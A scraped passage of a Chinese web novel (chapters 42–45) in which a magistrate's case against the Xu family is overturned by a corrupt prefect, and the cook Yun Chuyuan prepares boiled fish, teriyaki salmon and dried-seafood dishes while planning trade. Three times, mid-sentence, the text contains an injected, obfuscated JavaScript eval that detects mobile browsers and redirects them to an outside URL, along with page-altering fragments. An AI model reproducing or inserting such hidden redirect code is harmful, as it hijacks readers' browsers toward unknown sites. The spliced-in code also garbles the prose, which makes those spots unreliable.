一位鬓角发白、身形富态,身着华丽绸缎的中年男子走了进来。 鼻尖传来一股血腥味,徐老爷心中暗道不妙,他强装镇定,微微躬身,双手恭敬地拱在身前,脸上堆满谄媚的笑容,“大人,犬子顽劣,不知所犯何事?可否容我们父子二人见上一面?” “徐子恒贩卖私盐已认罪,方才行刑过后已被抬回牢房里了。不过,本官手上积压了许多状告他强抢民女的案子,在我审问出结果之前,徐老爷还是避嫌的好。”裴昱臣慢条斯理地说道。 徐老爷脸色难看,想不到才短短一个时辰,便尘埃落定了,他就想从中斡旋,都来不及出手,他那个蠢儿子,真是一点脑子都没有,别人略施小计,他就露出了把柄。 不过他就这么一个儿子,不管怎样,还是要救的,徐老爷走上前,低声说道:“只要大人愿意高抬贵手,草民可将半数家产奉上。” 裴昱臣面不改色道:“本官曾说过,要还临海县一片安宁,徐老爷以为我是在说笑吗?” 冷峻的目光便如利剑一般射过去,他的眼神里满是鄙夷,仿佛能将对方那些歪心思看得透透彻彻。 “大人的意思是没得谈了?”徐老爷拉下脸来,沉声说道。 “徐老爷,请回吧。”裴昱臣丝毫没有动摇。 —— 没过几日,临海县县衙迎来了一位出人意料的大人物。 “下官临海县县令,裴昱臣,不知知州大人大驾光临,有失远迎。” 知州大人杜青岩无视裴昱臣,径直向前走去,他的身后跟着徐老爷,还有一位裴昱臣相熟之人。 “临海县县令,你可知罪!”知州大人在高堂上一落座,就向裴昱臣发难。 裴昱臣站起身拱手行礼,不卑不亢道:“敢问杜大人,下官何罪之有?” “哼,你严刑逼供,屈打成招,冤枉无辜百姓,实乃丧心病狂!”知州大人来者不善,一张口,就为他扣上了莫须有的罪名。 裴昱臣额头青筋直跳,这位知州不分青红皂白,满口胡言,定然是想保下徐家。 “知州大人所言差矣,下官秉公执法,绝无冤假错案。” 杜青岩未曾看他一眼,而是对衙役吩咐道:“本官明察秋毫,徐少爷无罪释放。” 知州堂而皇之地将徐家少爷带走了,落在最后的徐老爷慢吞吞走着,路过裴昱臣身边时,他停下了脚步,“大人,草民的家产您瞧不上,自然有别人想要。” 裴昱臣站在原地,脸色铁青。 42. 水煮鱼和酸菜鱼 县衙后院的凉亭里,裴昱臣正与久未相见的师兄坐下叙旧。 “孟师兄,别来无恙。”裴昱臣为坐在对面的男子斟了一杯茶。 “裴师弟,自五年前京城一别,咱们许久未见,这回听闻知州大人要来临海县,我便请求随行,专程来看望你。” 说话之人浓眉大眼,目光沉稳,瞧着十分有精神气儿,他的下巴上留着一撮短须,修剪得极为整齐,随着他轻抚的动作而颤动。 孟合舟,正六品扬州通判,乃知州的属官,辅佐知州处理政务,并负责监督知州,虽官职比知州低,却可以直接向皇上奏报,这是为防止地方权力滥用,专门安排下来制约知州的。 可如今,皇上大限将至,朝堂被姚丞相把控,他这个通判成了个摆设,杜青岩完全不把他放在眼里。 “唉,裴师弟,我这次来也是担心你得罪了杜青岩,被他暗害。”孟合舟摇头叹气,有他在,最起码能护一护师弟,杜青岩再怎么猖狂,也不能当着他的面陷害朝廷命官,毕竟时局紧张,姚党也不想节外生枝。 裴昱臣眼神一暗,今日之事在他意料之外,他万万想不到知州大人会千里迢迢地赶来,只为救下一个小小的富家公子,这令他百思不得其解。 “师兄,徐家怎会请得动知州大人?”裴昱臣低着头,修长的手指轻轻摩挲着杯沿。 杜青岩的出现是他始料未及的,这完全打乱了他的计划,他正准备快刀斩乱麻铲除掉徐家,再与云楚沅联手发展临海县,如今,这事怕是要延后了。 “这杜家是穷苦人家,祖坟冒青烟,供出了个进士儿子,自此改换门庭、扬眉吐气。杜青岩投到姚丞相门下后,步步高升,他担任扬州知州,在这里可谓是只手遮天啊。” 孟合舟捋了捋胡须,继续说道:“杜青岩投靠姚丞相,想混上一个从龙之功,自然需要倾囊相助。恰逢徐老爷用私盐做了投名状,这可不是正中他的下怀?江南人多眼杂,不宜行事,而临海县位置偏僻,可以掩人耳目,他打算把你这个县令换成他的人,彻底把控临海县。” 裴昱臣手指一顿,杜青岩野心不小,倘若临海县落到他手里,这里的百姓必然会被他压榨,成为他谋取私利的垫脚石。 看着久久不语的裴昱臣,孟合舟叹了口气,低声劝道:“师弟,如今姚党权势滔天,你不如暂避锋芒。” 裴昱臣嘴角微扬,自嘲一笑,“呵,如何暂避?难不成我放着临海县的百姓不管,辞官离去吗?” 孟合舟沉默了,杜青岩处处提防他,他这个通判毫无用武之地,被打压久了,那份初入官场的雄心壮志都快被磨灭殆尽了。 良久,孟合舟开口道:“是为兄愚钝了。” “师兄,我知晓你是担心我的安危,可我不是那等临阵脱逃的孬种。”裴昱臣放下手中的杯盏,眼神认真地望着孟合舟。 孟合舟明白了他的决心,不再劝阻,而是为他出谋划策,“师弟,你在这偏远的小县城,消息闭塞,不知圣上又重新重用严指挥使了,也许你可以向他求助,毕竟他和咱们师父乃至交。” 严指挥使是位纯臣,只听命于圣上,为人刚正不阿、嫉恶如仇,他掌管镇抚司,专门负责调查和缉拿犯错的官员,可谓是朝堂重臣们的眼中钉肉中刺,恨不得除之而后快。 去岁因被姚党弹劾滥用刑罚,严指挥使被圣上免去职务后,裴昱臣还与师父一同上门探望过,严大人没什么怨言,他清楚自己是挡了别人的路,但他坚信天网恢恢疏而不漏,奸佞迟早会被清除。 他们的师父袭盛元是京中有名的大儒,现担任京城太极书院的山长。 虽未入朝为官,可袭老先生人脉广,桃李满天下,不过他唯有两个亲传弟子,便是孟合舟与裴昱臣。 两人皆金榜题名,高中状元,自此想拜袭老先生为师的人更是数不胜数,许多官宦人家也争相讨好,希望家中子弟能被老先生看中。 “师父不愿掺合朝中之事,不到万不得已,我也不想打扰他老人家。”裴昱臣面露纠结,母亲过世后,师父便是他最亲近之人,他感念师父的谆谆教诲,不想让他一把年纪了,还要为了他这个徒弟奔波。 孟合舟不赞同地说道:“师弟,你要是有个三长两短,师父他老人家定会抱憾终生。” 裴昱臣眉眼松动:“也罢,若我遇到麻烦,会向他老人家求助的。” —— “云姑娘,裴大人在主院接待客人,想要你为他们准备午膳。”青竹急匆匆地跑进西院,还好今日云楚沅没有出门,要不肯定会耽误事的。 云楚沅推开房门走了出来,懒洋洋地打了个哈欠,“早些时候,你不是说县衙来了大人物,不准随意走动吗?所以我干脆连房门都没出,省得冲撞了大人物。” 青竹恭敬地扶着云楚沅的胳膊,带着她快步向膳房走去,在路上将自己听到的消息告诉了她,“知州大人来把徐家少爷放了,大人他心情很不好。” 云楚沅皱起了眉头,怒气冲冲地说道:“这位知州大人竟然偏袒徐家人,肯定不是什么好官!” “嘘!”青竹制止了云楚沅的嚷嚷声,“姑娘,小心隔墙有耳。” 云楚沅翻了个白眼,没好气地说道:“做了丧良心的事,还不让人说了?和徐家一丘之貉的,能是什么好东西!” 青竹擦了擦额头上的汗,小心观察着周围有没有人,提心吊胆地说道:“姑奶奶,你少说两句吧,咱们大人正处在风口浪尖上,要是你这番话传出去,让人误以为是大人教的,岂不是让人抓住把柄了吗!” 云楚沅不满道:“我说的话,为什么要算到裴昱臣的头上。” 青竹侧目而视,小声嘀咕道:“全衙门的人,谁不知道你们关系匪浅。” 气愤的云楚沅,一路走得匆忙,现在只能化愤怒为食欲了,她又不懂官场上的尔虞我诈,能为小书生做的,也就只有让他吃得舒心了。 “云姑娘,县令大人要宴请他的师兄,特意吩咐了他师兄的喜好,人家喜食鱼,还好一口辣,希望你能投其所好,做客人爱吃的菜品。”青竹将裴昱臣的话带到,便离开了膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950588|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房。 “不能吃辣,还要为别人点辣菜。”云楚沅一边杀鱼,一边嘟囔。 这小书生还真是喜欢为别人着想,做一桌子辣菜,他还能吃得下吗?云楚沅决定主菜就做水煮鱼和酸菜鱼,最起码酸菜鱼辣度低,在裴昱臣的接受范围内。 龙利鱼的鱼肉细嫩且刺少,云楚沅将其切成薄片,鱼骨剁块备用,每一片鱼都经过精心处理,去骨留肉,这样食用起来更方便,还能让鱼肉的鲜美毫无保留地展现出来。 鱼片用蛋清、淀粉、盐抓匀,这样做能锁住水分,做出来的鱼口感滑嫩。 葱姜蒜爆香,倒入豆酱炒出红油,再放茱萸和花椒煸炒,将鱼骨煎至金黄,加水煮成奶白色的鱼汤,下入鱼片烫熟,最后淋上热油激香辣椒和花椒。 麻辣鲜香的水煮鱼便做好了,红亮的汤汁上飘着油花,茱萸与花椒在大碗中铺成一片绚丽的红海,鱼肉雪白,薄如蝉翼,掩藏在红彤彤的茱萸之下,若隐若现,几片青蒜叶和芫荽点缀其间。 同样的处理方法,云楚沅又将一条鱼剔骨切片,鱼片裹上淀粉和蛋清,形成一层保护膜,不会让其中的鲜美流失。 膳房里的坛子有她闲来无事腌制的酸菜,云楚沅取出一颗来,冲干表面的盐水,将酸菜切成小段备用。 锅中的油烧热后,煎鱼骨,下入姜片、蒜末翻炒,加入清水煮开,将鱼骨捞出后,倒入炒过的酸菜碎,再放一大把豆芽做配菜,鱼片烫熟后出锅装碗。 花椒、茱萸、泡椒、小葱撒到鱼汤表面,淋上热油,考虑到裴昱臣不能吃辣,云楚沅便少放了一点茱萸。 热气腾腾酸菜鱼,汤汁是浓郁的金黄色泽,白嫩的鱼片和墨绿的酸菜交相辉映,香气扑鼻,令人食欲大增。 云楚沅分别盛了一碗水煮鱼和酸菜鱼,自己先尝了尝味道。 麻麻辣辣的水煮鱼油润不腻、嫩滑爽口,吃起来热血沸腾,麻得上头、辣得过瘾,是重口味人的最爱。 再尝一口酸菜鱼,酸菜的酸爽、花椒的麻香、泡椒的辛辣、鱼肉的鲜美全部交织在一起,形成了一种难以言喻的美味,吃起来十分酸爽,瞬间唤醒了沉睡的味蕾。 两道鱼上桌时,孟合舟使劲嗅闻了两下,面露惊异,看向裴昱臣说道:“师弟,这是什么菜?为何我从未听闻。” 裴昱臣看了跟着来上菜的云楚沅一眼,收到他示意的云楚沅接话道:“回大人,这两道菜分别叫水煮鱼和酸菜鱼,一道主辣,一道主酸,味道十分独特,且非常下饭。” 端菜的小厮将两碗白饭摆到两人的面前。 不同于迟迟没有动筷的孟合舟,裴昱臣率先将目标瞄向酸菜鱼,他拿起勺子轻尝一口汤,酸辣适中,鲜美异常,这黄澄澄的汤汁酸爽开胃,鱼肉细腻滑嫩,入口即化。 接着,他夹了一筷子鱼肉和配菜放于米饭上,再舀上一勺汤,混合所有食材后送入嘴中。 酸菜和豆芽清脆爽口,鱼肉细嫩滑顺,白饭软糯香甜,汤汁酸辣可口,这一口下去,滋味丰富,裴昱臣表情享受地微微眯起眼睛。 43. 照烧三文鱼 孟合舟见裴昱臣默不作声地用饭,心下讶异,他这位师弟可是个挑食的。 往日两人一起求学时,他曾宴请师弟去醉仙楼用膳,那京城最有名的酒楼的菜肴都入不得裴师弟的眼,只因他喜清淡,不喜油腻,菜品稍不合心意,便蹙眉头。 眼下,孟合舟瞧着桌上这两道鱼,上面飘着油花,而裴昱臣还吃得面不改色、津津有味,他不由得出声调侃:“哟,师弟啊,我怎么记得你以前不吃辣,也不爱荤腥呢,如今这是换口味了?” 裴昱臣咽下嘴里的吃食,不紧不慢地开口:“我的口味从未变过,只是如今遇到了做膳食合我口味的人。” 旁边站着的云楚沅一听这话,神清气爽,立马骄傲地挺了挺胸,她的身后要是有尾巴,此刻肯定会摇摆个不停。 裴昱臣冲着云楚沅微微一笑:“你有没有用过饭?要不要坐下来一起吃?” 云楚沅笑眯眯地说道:“裴大哥,不用了,我在膳房吃过了,你们慢用,我先走啦。” 她跟着小厮一起来送菜,就是想借机观察观察裴昱臣心情如何,有没有因受挫而失落。 亲眼瞧过后,虽然这人的脸上看不出有什么表情变化,可他吃饭吃得还挺香的,想来是没什么大碍,那她也没必要留在这里妨碍他和友人叙旧了。 裴昱臣目送着云楚沅离去,轻声一笑,她心思通透、体贴入微,能在心烦意乱时吃到这份美味,他的心里畅快不少。 孟合舟看看那名女子离去的背影,再瞧瞧裴昱臣这副春心荡漾的模样,蓦地睁大双眼。 他这位师弟性子清冷,向来拒人于千里之外,也就与他和师父关系亲厚,才会多交谈几句,如今竟对女子展露笑颜,实属罕见。 孟合舟摸着下巴上的短须,欣慰地笑了笑,看来他回去该给师父修书一封,告诉他不久之后便会有喜事了。 裴昱臣转过头来,正好对上孟师兄似笑非笑的眼神,他身形一顿,佯装淡定地开口:“师兄,待你尝过后便懂了。” “我懂,我懂。”孟合舟朝着裴昱臣挤眉弄眼,情人眼里出西施,他当然懂了。 自认为看透裴昱臣心思的孟合舟决定不拆穿这位脸皮薄的师弟,他配合着拿起木筷,夹起一片水煮鱼送入口中。 孟合舟的动作突然停住,脸上露出茫然的神色,在牙齿轻轻咬合两下后,下一瞬,他的双眼迸发出明亮的光芒。 “师弟,这门婚事我同意了!”孟合舟大喝一声,手上动作不停,风卷残云,迅速将鱼肉夹到自己碗里,大快朵颐起来,犹如饿虎扑食。 裴昱臣愣了一下,不明所以:“谁和谁的婚事?” 孟合舟紧紧盯着碗中的水煮鱼,一片接一片地往嘴里送,吃得满嘴流油,头也不抬地说道:“你想娶方才那位姑娘的事,我替师父答应了。” 裴昱臣身体僵住,仿佛被施了定身术一般,过了好一会儿,才缓缓出声:“师兄,你误会了,云姑娘是我请来的厨娘,并非是我未过门的娘子。” “哎呀师弟,你就别想瞒着师兄我了,我还不了解你吗?从前不通男女之情,你可是对所有接近自己的女子都视而不见的。”孟合舟的鼻子轻哼一声,眼神斜睨着裴昱臣,像是在说“少来这套,别想骗我”。 “是吗?”裴昱臣面露迟疑,云姑娘与他相熟,自然会走得近一些,可他从未做过逾矩之事,就算云姑娘有时不着调,他也当她是小孩子心性,未曾放在心上。 孟合舟猛点头:“想当初你高中状元,骑马游街时,许多女子向你抛花,你可倒好,宛如躲避箭矢一般,通通避开,片叶不沾身,惹得全京城的人都以为你是断袖!” 他这么一说,裴昱臣也想起了这件事,当时他只是厌恶那股夹杂着脂粉味的花香,不想沾染上,便闪身躲开了,并未多想。 怪不得自那以后,往日里如狂蜂浪蝶一般围着他的女子没了踪影,他还以为她们是知晓了他暂不想娶妻的心思,知难而退了,不成想竟是因为这莫名其妙的传闻。 裴昱臣脸色发黑:“断袖?我?” 孟合舟笑着说:“哈哈,我当初听说这事时,也感到匪夷所思,师弟你仪表堂堂、风华正茂,哪能不惦记着娶妻生子呢!” 他高中状元时,孟师兄还在扬州,根本未回京,这些事他是如何得知的?莫非他的事迹已经传到江南了? 裴昱臣反应过来后,询问道:“师兄,你怎么知晓此事的?” “哈哈哈,师父他老人家信以为真,写了封信来询问我的看法,要不要成全你的心思。”孟合舟捧腹大笑,他都能想象出师父写下这封信时是如何的忧虑,生怕自己的小弟子无后而终。 “师父怎么没问过我?”谣言害人,裴昱臣都不知说什么好。 孟合舟拍了拍师弟的肩膀,忍笑道:“咱们师父也是怕伤及你的自尊,未曾提及此事。不过,师弟你放心,待日后你带着娘子回京,谣言便不攻自破了,谁还会对你说三道四!” 裴昱臣拂开他的手,无所谓道:“谣言止于智者。” “哦?你就不怕你的云姑娘误会?”孟合舟不怀好意地笑了笑。 裴昱臣默了默,淡声道:“毁人声誉的恶言是该澄清。” —— 虽然徐家安然无恙,可云楚沅答应裴昱臣发展临海县的事却不能半途而废。 云楚沅带着小弟来到宋记粮铺,她计划与周掌柜背后的宋家谈一笔生意。 至于云楚河,他主动要求跟着阿姐来学做生意的。 “周掌柜,许久不见。”云楚沅笑意盈盈地看向铺子里闲坐着的老丈。 百无聊赖的周掌柜瞧见来人,双眼一亮,是之前与他相谈甚欢的小丫头,“小云,快进来坐。” “周掌柜近来身体如何?可还安好?”云楚沅搀扶着他坐下,关切地问道。 周掌柜笑得眼睛眯成了一道缝,眼角纹路深刻,脸上的褶子都挤在了一起,“你这丫头嘴真甜,除了你,这临海县没有人记挂老头子我。” “哈哈,周掌柜你先前讲的那些江南的人文故事,我还没听够呢。”云楚沅在空椅子上坐下,顺便挪了挪身子,让云楚河挨着自己并排坐好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950589|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我这小铺子没有多余的椅子了,委屈你们二人挤一挤了,小云,这是你弟弟吧。”周掌柜摸了摸云楚河的圆脑袋。 “阿翁,我名叫云楚河。” 看着乖巧的男娃,周掌柜乐呵呵地拿来一块饴糖,“娃娃,吃吧。” 云楚河接过糖舔了一口,笑眯眯地说道:“这糖真甜,谢谢阿翁。” 周掌柜一个人看铺子,无所事事,他的妻儿早年遇土匪被杀害,如今他孤身一人,瞧见别人家的小娃娃便心生欢喜。 云楚沅从提着的布包里取出带来的酱料,“周掌柜,前些时日我一直在忙新铺子的事,很久没来看望你了。呐,这是我开的海味坊卖的东西,一瓶海鲜酱,一瓶蚝油,送给你尝尝。” 周掌柜掀开罐子盖闻了闻,“丫头,我不怎么出门,都听说过你这酱料,百闻不如一见,这味道闻着确实鲜。” 云楚沅又取出来两块鱼肉,笑着说道:“百闻不如一尝,周掌柜,你后院有灶房吧,我给你做一道照烧三文鱼尝尝。” 今早她去云记食肆时,瞧见阿汤哥的背篓里装着一条大鱼,那是他从海里捞上来的,尽管小渔村家家户户都养上了鱼,但种类有限,渔民们依旧向往大海里的宝藏。 于汤出海捞上来一条体型巨大的鲑鱼,原本想去集市上卖掉,云楚沅看到后,二话不说便掏银子买下来了,并叮嘱他,以后海里捞上来的海鲜她都愿意收。 这鲑鱼很像云楚沅穿越前见过的三文鱼,她猜测,它们很可能就是同一个品种。 想起口感嫩滑、油脂丰富的三文鱼刺身,云楚沅就想流口水。 只是古代技术落后,未曾处理过的海鱼可能会有寄生虫,还是不要生食,免得吃坏了肚子,尤其是她要做给周掌柜这位老人家吃,还是做熟了为好。 三文鱼肉呈现出鲜艳诱人的橙红色,纹理清晰,云楚沅在厚实的鱼肉上划出浅浅的刀痕。 碗里倒入三勺酱油、一勺蚝油、两勺蜂蜜、两勺米酒、半勺胡椒粉,搅拌均匀,把三文鱼放进去腌制一刻钟的时间。 锅中油热,下入腌好的三文鱼,中大火煎至两面金黄,再将碗里剩下的照烧汁倒入锅中,不断用勺子淋到鱼肉上面,使其吸满酱汁,待酱汁收缩浓稠,便可盛到盘中。 两块照烧三文鱼,一块端到周掌柜的面前,另一块由云楚沅和小弟一起分享。 周掌柜嗅了嗅空气中弥漫的香味,感叹道:“老头子我有口福了。” 第一口照烧三文鱼放入口中,首先感受到的便是鱼肉本身的细腻柔滑、鲜嫩多汁,轻轻咀嚼,照烧酱汁的咸甜味恰到好处,令三文鱼的鲜美更加突出。 软嫩无刺的三文鱼对牙口不好的周掌柜来说,十分友好,不用费劲嚼,轻轻一抿,鱼肉便化开了。 “周掌柜,我做的这道照烧三文鱼如何?合你的口味吗?”云楚沅看着砸嘴回味的老翁,大概也能猜到他吃得很满意。 周掌柜吃光盘中的鱼肉,用筷子蘸了点酱料塞进嘴里,意犹未尽道:“丫头,老头子活到这个岁数,这是我吃过最好吃的鱼。” 44. 海鲜干货 享用过美食之后,云楚沅便决定开门见山、直奔主题。 “周掌柜,你觉得我这酱料可以走出临海县吗?” 周掌柜舔筷子的动作一顿,他眯着眼睛打量着云楚沅,笑道:“感情你这丫头无事不登三宝殿。” 面对周掌柜的审视,云楚沅镇定自若,她的脸上带着一丝讨好的笑,软声说道:“阿翁,只有你能帮我了,我做这些可不是为了谋私,而是为了全临海县的百姓。” 云楚沅一朝穿越,人生地不熟,在她所有接触过的人里,除了裴昱臣,便是这位周掌柜见识最广了,而且他还与江南富商相熟识,这简直是位天选好帮手。 “哦?说来听听,你的酱料怎么就关乎全县百姓了?”周掌柜捋着胡须,想知道这个巧舌如簧的丫头能说出什么大道理来。 云楚沅将自己与裴昱臣说过的那番振兴县城的理论又搬了出来,细细说与周掌柜听。 周掌柜在听过云楚沅的想法后,耳目一新,精神为之一振,他想不到在返乡后,会遇见如此独具匠心、钟灵毓秀之人,这丫头绝非池中之物,日后必定会有一番作为。 “阿翁,我这还是从您身上得到的启发。”云楚沅见周掌柜表情赞赏,有意无意地将这致富的法子和他扯上关系。 “与老夫何干?”周掌柜抚摸长须的动作一顿,小眼好奇地望向云楚沅。 “阿翁,自打你给我讲了在江南管理铺子的事迹后,我也起了经商的心思。恰逢裴县令为咱们县百姓们的穷困发愁,我鼓起勇气,毛遂自荐,争得了县令大人的同意。您说,这是不是和您有关?” 云楚沅强行把事情的起因引向周掌柜,就是想增加他的参与感。 有人在做一件善事,路过的人也许鼓鼓掌便离开了,可若自己成了出主意的人,那感觉就不一样了,被捧高的人肯定会干劲十足,恨不得自己亲自动手。 周掌柜一听自己的事迹影响了云楚沅,立马坐正身子,“小云啊,你们这些后生有想法是好事,但经商一事可不如你想的那般简单,这里面的门道多的是,听我慢慢说与你听……” 云楚沅在椅子上一坐便坐了一个时辰,期间还要时不时提出自己的见解,与周掌柜展开激烈的讨论。 一番推心置腹的交谈过后,云楚沅说得口干舌燥,反倒是坐在旁边的云楚河听得入迷,偶尔还会插两句话提出疑问。 “总之,小云啊,你的想法很好,可实施起来不容易。江南经商之人多如牛毛,咱们小地方的人想要去分一杯羹,必须要有人提点,否则会被吃得连骨头渣都不剩。”周掌柜语重心长地说道,他很看好云楚沅,所以才多啰嗦了两句。 云楚沅一脸感激地看向周掌柜:“阿翁,这也是为何我要来劳烦您,我对自己的计划有信心,您只要帮我将酱料送到宋家主的手中,一切问题都会迎刃而解。” 宋家能成为江南首富,看东西的眼光肯定毒辣,海味坊出品的酱料与干货,一旦销往内陆,那绝对会赚得盆满钵满,宋家人必然不会放过这块肥肉的。 瞧着周掌柜若有所思的样子,云楚沅说道:“周掌柜,您返乡后的日子没有想象中的那么有意思吧?如今有个重振旗鼓的机会放在你面前,难道你不心动吗?” 云楚沅接着抛出更大的诱饵:“要是这件事成了,您不但能扬名临海县,还能助主家更上一层楼,一举两得的好事,何乐而不为呢?” 周掌柜用手指虚点了云楚沅两下,摇头失笑道:“你这丫头,巧言令色,什么话都让你说了。也罢,老夫便帮你这一回。” 云楚沅大喜:“真的吗?阿翁,谢谢您!” “不必谢我,谢你自己吧,谁叫你有个聪明绝顶的脑袋瓜呢。” 云楚沅笑着摸了摸头,说道:“聪明是聪明,可还没到绝顶那一步。” —— 达成目的的云楚沅心情很好,她哼着小曲大步向云记食肆走去,剩下的三文鱼还放在铺子里,等着她去处理呢。 未时,已是过了用午膳的时间,钱婶和钱春香母女坐在大堂闲聊,老远就看见东家提着两大包东西走来。 两人立马上前接过云楚沅手里的包袱,钱婶好奇地问道:“楚沅,你不是要去宋记粮铺谈合作吗?怎么拿着这么多东西回来了?莫非是宋记强买强卖?” “没有的事儿,这是我方才路过海味坊,进去拿的,算是送给你们的员工福利。” 云楚沅解开包袱,里面放着紫菜、虾皮、海米、干贝、干海带、蛤蜊干,这些全部都是加工坊近期晾晒好的海鲜干货。 继鱿鱼丝和鳕鱼片之后,海味坊又陆陆续续上架了不少种类的干货,方才云楚沅交代李大强拿一些给周掌柜送去,毕竟云记海味坊的特产不只有酱料。 “我滴乖乖,楚沅啊,你这花样还挺多,咱们渔民都是现吃现捞,很少费劲制成干货。”钱婶摸了摸包袱里一大堆东西,挑了只海米塞进嘴里。 晒好的海米有一股浓郁的鲜味,夹杂着淡淡的海鲜腥味,吃起来咸中带鲜,很有嚼劲。 “这海米可以用来煎、炒、蒸、煮,做法多样,还容易保存。”云楚沅一边说着,一边走向后厨,“朱师傅,我来做几道新菜。” “哟,这些干货瞧着品质真好。”朱师傅接过云楚沅手里的包袱,掀开瞧了瞧。 “朱师傅,咱们两个一块做,将这些干货做成菜肴,到时候客人们尝着好吃,自然会去海味坊买的。” 云记食肆俨然已成为临海县美食的风向标了,一上新菜品,便会引得人争相模仿,就连湘香馆也不例外。 朱师傅问道:“小云师傅,菜单你决定好了吗?” “定好了,紫菜虾皮蛋花汤、海米炒油菜、干贝冬瓜汤、凉拌海带丝、蛤蜊蒸蛋。” 云楚沅将所有干货泡进水里,给朱师傅分配工作,紫菜虾皮蛋花汤、干贝冬瓜汤、凉拌海带丝由他来做,而她自己来做海米炒油菜、蛤蜊蒸蛋。 这几道菜的难度不大,重点在海鲜干制品的鲜味上,不需要过多调味。 云楚沅走到后院摘了两把油菜,钱婶和春香姐住进这里后,就将空地利用起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950590|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来种上了青菜,旁边有水井,浇起水来也方便。 泡发后的海米变得柔软,体积也略微膨胀起来,云楚沅将油菜洗净,将菜帮和菜叶分开切成小段,以便更好地控制烹饪时间,保持油菜的脆嫩。 中小火热油,待油温升至五六成热时,攥干海米的水分后下入锅中,用小火慢慢煸炒,海米的颜色变深,逐渐释放出浓郁的海鲜香气。 海米炒至微黄时,将切好的油菜段倒入锅中,菜帮子厚,熟得慢,所以先放菜帮,再放菜叶,全程用大火快速翻炒。 油菜炒至断生,加入适量的盐和海草粉进行调味,这个海草粉类似于味精,是住在海边的百姓们将海藻晒干研磨后制成的,用来提升菜肴的鲜味。 海米本身就带着一点咸味,搭配上清甜的油菜,味道恰到好处,既不会过咸,也不会寡淡无味。 朱师傅尝过后也觉得不错,“海米肉质紧实,油菜脆嫩可口,这道菜做法也不复杂,应当会很受欢迎。” 这便是云楚沅的目的所在,她的海味坊兜售品质上乘的干货,百姓们买回家后轻轻松松便可制作出美味佳肴,而且销售到内陆后,可以让没吃过海鲜的人尝到海产品的滋味。 旁边观察许久的钱婶跃跃欲试,“楚沅,让我来蒸蛋呗,我做鸡蛋羹可拿手了,春香和她哥哥自小吃到大,再加上我那小孙子,他们一吃就停不下来。” “行啊,婶子,我也尝尝你蒸蛋的手艺。”云楚沅笑着说道。 “好嘞!”钱婶拿过云楚沅手里的蛤蜊干和鸡蛋后,雄赳赳气昂昂地走向桌案,想不到有一日还能轮到她给楚沅展示厨艺。 “啪啪!” 钱婶往碗里磕了两个鸡蛋,倒入一倍半的温水,这是她尝试多次后定下来的配比,这样做出来的鸡蛋十分嫩滑。 撒点盐后,钱婶用筷子迅速搅打直至蛋液冒出细密的小泡,再用纱布过滤,撇去浮沫,这样做出来的蛋液细腻如丝,轻轻晃动小碗,上面便泛起层层涟漪。 蛋液表面铺上泡好的蛤蜊干,待锅中的水沸腾后,将装蛋液的碗放入蒸笼,上面扣上一个盘子,中小火蒸熟后再焖上一会儿,出锅后淋上酱油和胡麻油即可。 “楚沅,你来尝尝。”钱婶用湿抹布垫在掌心,将热气腾腾的蛤蜊蒸蛋端上桌。 光看卖相,这碗鸡蛋羹就很不错,黄灿灿的鸡蛋表面十分光滑,随着钱婶将其放到桌上的动作,里面的蛋羹晃个不停,显然非常嫩滑。 蛋香和蛤蜊的鲜香扑面而来,云楚沅拿起勺子舀了一块蛋羹,轻轻吹气,凉下来后送入嘴里,嫩嫩的鸡蛋根本不用嚼,直接便从喉间滑了进去。 蛤蜊在蒸制的过程中释放出饱含鲜味的汁水,它们全部渗透到了鸡蛋中,使这份蛋羹更加鲜美多汁。 而后,云楚沅又尝了尝朱师傅做的汤菜和凉拌菜。 紫菜虾皮蛋花汤和干贝冬瓜汤以清淡为主,减少了调味料的使用,重点突出食材本身的鲜美。 与之相反,凉拌海带丝酸酸辣辣,用的调料相当丰富,吃起来也很不错。 45. 海苔和寿司 家常菜没有固定的配方,根据厨子的经验和习惯,做出来的菜肴口味不同。 钱婶和朱师傅做出来的家常菜都有自己的特色,别有一番滋味。 “如何?”他们两人眼巴巴地看向云楚沅,静静等待她的品评。 云楚沅轻笑一声,说道:“极好。” “真的?”钱婶双眼放光。 在她心里,云楚沅的厨艺那是顶顶好的,能得到这姑娘的认可,钱婶别提多高兴了。 “都别傻站着了,你们一块来尝尝吧。”云楚沅招呼着朱师傅、钱婶和春香姐一起坐下。 “娘,这鸡蛋羹加了蛤蜊干后更鲜了。” 钱婶也很赞同:“还真是,以后我就继续这么做了。” 朱师傅本以为干货和新鲜海鲜的味道应该差别很大,可尝过后发现去除水分的干货肉质紧实,有一股独特的鲜香,是完全不同的风味。 “嘿,小云你脑子还真好使,这干货指定会大卖的。” “借您吉言。” 